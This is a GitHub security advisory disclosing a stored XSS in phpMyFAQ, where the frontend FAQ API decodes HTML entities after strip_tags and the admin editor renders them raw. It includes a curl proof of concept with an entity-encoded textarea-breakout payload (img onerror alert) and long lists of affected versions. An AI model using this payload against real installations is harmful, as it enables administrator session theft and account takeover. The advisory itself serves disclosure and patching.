GHSA-pgwp-vc7q-cvj3 — phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

The advisory, in context

Summary

A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.

Details

Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)

$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
    $answer = trim(html_entity_decode((string) $answer));
}

Root cause:

Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., <script>).

When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.

Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)

<textarea id="editor" name="answer" class="form-control" rows="7"
          placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>

The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:

$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB

Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.

PoC

Prerequisites:

main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions)
records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs)
At least one FAQ category must exist

Step 1: Inject XSS payload as unauthenticated guest

curl -X POST https://TARGET/api/faq/create \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Legitimate User",
    "email": "user@example.com",
    "question": "How to configure SMTP settings?",
    "answer": "&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;",
    "lang": "en",
    "keywords": "smtp email",
    "rubrik": ["1"],
    "captcha": "<valid-captcha-or-empty-if-disabled>"
  }'

Response: {"success":"Thank you for your suggestion!"}

Processing trace:

Input answer: </textarea><img src=x onerror=alert(document.domain)><textarea>
filterSanitizeString() → strip_tags() finds no actual <tag> syntax → string passes through unchanged
html_entity_decode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea>
Stored in database as raw executable HTML

Step 2: Admin triggers XSS by reviewing the submitted FAQ

When an administrator navigates to edit the submitted FAQ entry:

GET /admin/faq/edit/{faqId}/{lang}

The admin template renders:

<textarea id="editor" name="answer" class="form-control" rows="7"
          placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>

The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.

Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).

Impact

Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration
No special privileges required — default configuration allows guest FAQ submissions (records.allowNewFaqsForGuests = true)
Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

thorsten/phpmyfaq Packagist

Ecosystem versions

Earlier releases before 4.2.0-alpha

Fixed in 4.2.0-alpha

177 explicitly affected versions

2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.2, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.9.0, 2.9.0-alpha, 2.9.0-alpha2, 2.9.0-alpha3, 2.9.0-alpha4, 2.9.0-beta, 2.9.0-beta2, 2.9.0-rc, 2.9.0-rc2, 2.9.0-rc3, 2.9.0-rc4, 2.9.1, 2.9.10, 2.9.11, 2.9.12, 2.9.13, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.9.8, 2.9.9, 3.0.0, 3.0.0-RC, 3.0.0-RC.2, 3.0.0-alpha, 3.0.0-alpha.2, 3.0.0-alpha.3, 3.0.0-alpha.4, 3.0.0-beta, 3.0.0-beta.2, 3.0.0-beta.3, 3.0.1, 3.0.10, 3.0.11, 3.0.12, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.0-RC, 3.1.0-alpha, 3.1.0-alpha.2, 3.1.0-alpha.3, 3.1.0-beta, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.0-RC, 3.2.0-RC.2, 3.2.0-RC.4, 3.2.0-alpha, 3.2.0-beta, 3.2.0-beta.2, 3.2.1, 3.2.10, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.0-RC, 4.0.0-RC.2, 4.0.0-RC.3, 4.0.0-RC.4, 4.0.0-RC.5, 4.0.0-alpha, 4.0.0-alpha.2, 4.0.0-alpha.3, 4.0.0-alpha.4, 4.0.0-beta, 4.0.0-beta.2, 4.0.1, 4.0.10, 4.0.11, 4.0.12, 4.0.13, 4.0.14, 4.0.15, 4.0.16, 4.0.18, 4.0.19, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.0.9, 4.1.0, 4.1.0-RC, 4.1.0-RC.2, 4.1.0-RC.4, 4.1.0-RC.5, 4.1.0-RC.6, 4.1.0-RC.7, 4.1.0-alpha, 4.1.0-alpha.2, 4.1.0-alpha.3, 4.1.0-beta, 4.1.0-beta.2, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.1.7, 4.1.8

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "4.2.0-alpha"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.10.0-alpha",
    "2.8.0",
    "2.8.0-RC",
    "2.8.0-RC2",
    "2.8.0-RC3",
    "2.8.0-RC4",
    "2.8.0-alpha2",
    "2.8.0-alpha3",
    "2.8.0-beta",
    "2.8.0-beta2",
    "2.8.0-beta3",
    "2.8.1",
    "2.8.10",
    "2.8.11",
    "2.8.12",
    "2.8.13",
    "2.8.14",
    "2.8.15",
    "2.8.16",
    "2.8.17",
    "2.8.18",
    "2.8.19",
    "2.8.2",
    "2.8.20",
    "2.8.21",
    "2.8.22",
    "2.8.23",
    "2.8.24",
    "2.8.25",
    "2.8.26",
    "2.8.27",
    "2.8.28",
    "2.8.29",
    "2.8.3",
    "2.8.4",
    "2.8.5",
    "2.8.6",
    "2.8.7",
    "2.8.8",
    "2.8.9",
    "2.9.0",
    "2.9.0-alpha",
    "2.9.0-alpha2",
    "2.9.0-alpha3",
    "2.9.0-alpha4",
    "2.9.0-beta",
    "2.9.0-beta2",
    "2.9.0-rc",
    "2.9.0-rc2",
    "2.9.0-rc3",
    "2.9.0-rc4",
    "2.9.1",
    "2.9.10",
    "2.9.11",
    "2.9.12",
    "2.9.13",
    "2.9.2",
    "2.9.3",
    "2.9.4",
    "2.9.5",
    "2.9.6",
    "2.9.7",
    "2.9.8",
    "2.9.9",
    "3.0.0",
    "3.0.0-RC",
    "3.0.0-RC.2",
    "3.0.0-alpha",
    "3.0.0-alpha.2",
    "3.0.0-alpha.3",
    "3.0.0-alpha.4",
    "3.0.0-beta",
    "3.0.0-beta.2",
    "3.0.0-beta.3",
    "3.0.1",
    "3.0.10",
    "3.0.11",
    "3.0.12",
    "3.0.2",
    "3.0.3",
    "3.0.4",
    "3.0.5",
    "3.0.6",
    "3.0.7",
    "3.0.8",
    "3.0.9",
    "3.1.0",
    "3.1.0-RC",
    "3.1.0-alpha",
    "3.1.0-alpha.2",
    "3.1.0-alpha.3",
    "3.1.0-beta",
    "3.1.1",
    "3.1.10",
    "3.1.11",
    "3.1.12",
    "3.1.13",
    "3.1.14",
    "3.1.15",
    "3.1.16",
    "3.1.17",
    "3.1.18",
    "3.1.2",
    "3.1.3",
    "3.1.4",
    "3.1.5",
    "3.1.6",
    "3.1.7",
    "3.1.8",
    "3.1.9",
    "3.2.0",
    "3.2.0-RC",
    "3.2.0-RC.2",
    "3.2.0-RC.4",
    "3.2.0-alpha",
    "3.2.0-beta",
    "3.2.0-beta.2",
    "3.2.1",
    "3.2.10",
    "3.2.2",
    "3.2.3",
    "3.2.4",
    "3.2.5",
    "3.2.6",
    "3.2.7",
    "3.2.8",
    "3.2.9",
    "4.0.0",
    "4.0.0-RC",
    "4.0.0-RC.2",
    "4.0.0-RC.3",
    "4.0.0-RC.4",
    "4.0.0-RC.5",
    "4.0.0-alpha",
    "4.0.0-alpha.2",
    "4.0.0-alpha.3",
    "4.0.0-alpha.4",
    "4.0.0-beta",
    "4.0.0-beta.2",
    "4.0.1",
    "4.0.10",
    "4.0.11",
    "4.0.12",
    "4.0.13",
    "4.0.14",
    "4.0.15",
    "4.0.16",
    "4.0.18",
    "4.0.19",
    "4.0.2",
    "4.0.3",
    "4.0.4",
    "4.0.5",
    "4.0.6",
    "4.0.7",
    "4.0.8",
    "4.0.9",
    "4.1.0",
    "4.1.0-RC",
    "4.1.0-RC.2",
    "4.1.0-RC.4",
    "4.1.0-RC.5",
    "4.1.0-RC.6",
    "4.1.0-RC.7",
    "4.1.0-alpha",
    "4.1.0-alpha.2",
    "4.1.0-alpha.3",
    "4.1.0-beta",
    "4.1.0-beta.2",
    "4.1.1",
    "4.1.2",
    "4.1.3",
    "4.1.4",
    "4.1.5",
    "4.1.6",
    "4.1.7",
    "4.1.8"
  ]
}

phpmyfaq/phpmyfaq Packagist

Ecosystem versions

Earlier releases before 4.2.0-alpha

Fixed in 4.2.0-alpha

177 explicitly affected versions

2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3, 2.8.0-RC4, 2.8.0-alpha2, 2.8.0-alpha3, 2.8.0-beta, 2.8.0-beta2, 2.8.0-beta3, 2.8.1, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.2, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.9.0, 2.9.0-alpha, 2.9.0-alpha2, 2.9.0-alpha3, 2.9.0-alpha4, 2.9.0-beta, 2.9.0-beta2, 2.9.0-rc, 2.9.0-rc2, 2.9.0-rc3, 2.9.0-rc4, 2.9.1, 2.9.10, 2.9.11, 2.9.12, 2.9.13, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.9.8, 2.9.9, 3.0.0, 3.0.0-RC, 3.0.0-RC.2, 3.0.0-alpha, 3.0.0-alpha.2, 3.0.0-alpha.3, 3.0.0-alpha.4, 3.0.0-beta, 3.0.0-beta.2, 3.0.0-beta.3, 3.0.1, 3.0.10, 3.0.11, 3.0.12, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.1.0, 3.1.0-RC, 3.1.0-alpha, 3.1.0-alpha.2, 3.1.0-alpha.3, 3.1.0-beta, 3.1.1, 3.1.10, 3.1.11, 3.1.12, 3.1.13, 3.1.14, 3.1.15, 3.1.16, 3.1.17, 3.1.18, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.0-RC, 3.2.0-RC.2, 3.2.0-RC.4, 3.2.0-alpha, 3.2.0-beta, 3.2.0-beta.2, 3.2.1, 3.2.10, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.2.8, 3.2.9, 4.0.0, 4.0.0-RC, 4.0.0-RC.2, 4.0.0-RC.3, 4.0.0-RC.4, 4.0.0-RC.5, 4.0.0-alpha, 4.0.0-alpha.2, 4.0.0-alpha.3, 4.0.0-alpha.4, 4.0.0-beta, 4.0.0-beta.2, 4.0.1, 4.0.10, 4.0.11, 4.0.12, 4.0.13, 4.0.14, 4.0.15, 4.0.16, 4.0.18, 4.0.19, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.0.9, 4.1.0, 4.1.0-RC, 4.1.0-RC.2, 4.1.0-RC.4, 4.1.0-RC.5, 4.1.0-RC.6, 4.1.0-RC.7, 4.1.0-alpha, 4.1.0-alpha.2, 4.1.0-alpha.3, 4.1.0-beta, 4.1.0-beta.2, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.1.7, 4.1.8

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "4.2.0-alpha"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.10.0-alpha",
    "2.8.0",
    "2.8.0-RC",
    "2.8.0-RC2",
    "2.8.0-RC3",
    "2.8.0-RC4",
    "2.8.0-alpha2",
    "2.8.0-alpha3",
    "2.8.0-beta",
    "2.8.0-beta2",
    "2.8.0-beta3",
    "2.8.1",
    "2.8.10",
    "2.8.11",
    "2.8.12",
    "2.8.13",
    "2.8.14",
    "2.8.15",
    "2.8.16",
    "2.8.17",
    "2.8.18",
    "2.8.19",
    "2.8.2",
    "2.8.20",
    "2.8.21",
    "2.8.22",
    "2.8.23",
    "2.8.24",
    "2.8.25",
    "2.8.26",
    "2.8.27",
    "2.8.28",
    "2.8.29",
    "2.8.3",
    "2.8.4",
    "2.8.5",
    "2.8.6",
    "2.8.7",
    "2.8.8",
    "2.8.9",
    "2.9.0",
    "2.9.0-alpha",
    "2.9.0-alpha2",
    "2.9.0-alpha3",
    "2.9.0-alpha4",
    "2.9.0-beta",
    "2.9.0-beta2",
    "2.9.0-rc",
    "2.9.0-rc2",
    "2.9.0-rc3",
    "2.9.0-rc4",
    "2.9.1",
    "2.9.10",
    "2.9.11",
    "2.9.12",
    "2.9.13",
    "2.9.2",
    "2.9.3",
    "2.9.4",
    "2.9.5",
    "2.9.6",
    "2.9.7",
    "2.9.8",
    "2.9.9",
    "3.0.0",
    "3.0.0-RC",
    "3.0.0-RC.2",
    "3.0.0-alpha",
    "3.0.0-alpha.2",
    "3.0.0-alpha.3",
    "3.0.0-alpha.4",
    "3.0.0-beta",
    "3.0.0-beta.2",
    "3.0.0-beta.3",
    "3.0.1",
    "3.0.10",
    "3.0.11",
    "3.0.12",
    "3.0.2",
    "3.0.3",
    "3.0.4",
    "3.0.5",
    "3.0.6",
    "3.0.7",
    "3.0.8",
    "3.0.9",
    "3.1.0",
    "3.1.0-RC",
    "3.1.0-alpha",
    "3.1.0-alpha.2",
    "3.1.0-alpha.3",
    "3.1.0-beta",
    "3.1.1",
    "3.1.10",
    "3.1.11",
    "3.1.12",
    "3.1.13",
    "3.1.14",
    "3.1.15",
    "3.1.16",
    "3.1.17",
    "3.1.18",
    "3.1.2",
    "3.1.3",
    "3.1.4",
    "3.1.5",
    "3.1.6",
    "3.1.7",
    "3.1.8",
    "3.1.9",
    "3.2.0",
    "3.2.0-RC",
    "3.2.0-RC.2",
    "3.2.0-RC.4",
    "3.2.0-alpha",
    "3.2.0-beta",
    "3.2.0-beta.2",
    "3.2.1",
    "3.2.10",
    "3.2.2",
    "3.2.3",
    "3.2.4",
    "3.2.5",
    "3.2.6",
    "3.2.7",
    "3.2.8",
    "3.2.9",
    "4.0.0",
    "4.0.0-RC",
    "4.0.0-RC.2",
    "4.0.0-RC.3",
    "4.0.0-RC.4",
    "4.0.0-RC.5",
    "4.0.0-alpha",
    "4.0.0-alpha.2",
    "4.0.0-alpha.3",
    "4.0.0-alpha.4",
    "4.0.0-beta",
    "4.0.0-beta.2",
    "4.0.1",
    "4.0.10",
    "4.0.11",
    "4.0.12",
    "4.0.13",
    "4.0.14",
    "4.0.15",
    "4.0.16",
    "4.0.18",
    "4.0.19",
    "4.0.2",
    "4.0.3",
    "4.0.4",
    "4.0.5",
    "4.0.6",
    "4.0.7",
    "4.0.8",
    "4.0.9",
    "4.1.0",
    "4.1.0-RC",
    "4.1.0-RC.2",
    "4.1.0-RC.4",
    "4.1.0-RC.5",
    "4.1.0-RC.6",
    "4.1.0-RC.7",
    "4.1.0-alpha",
    "4.1.0-alpha.2",
    "4.1.0-alpha.3",
    "4.1.0-beta",
    "4.1.0-beta.2",
    "4.1.1",
    "4.1.2",
    "4.1.3",
    "4.1.4",
    "4.1.5",
    "4.1.6",
    "4.1.7",
    "4.1.8"
  ]
}

Set up in your agent.

Investigate in your agent.

phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

The advisory, in context

Summary

Details

PoC

Impact

Affected packages

References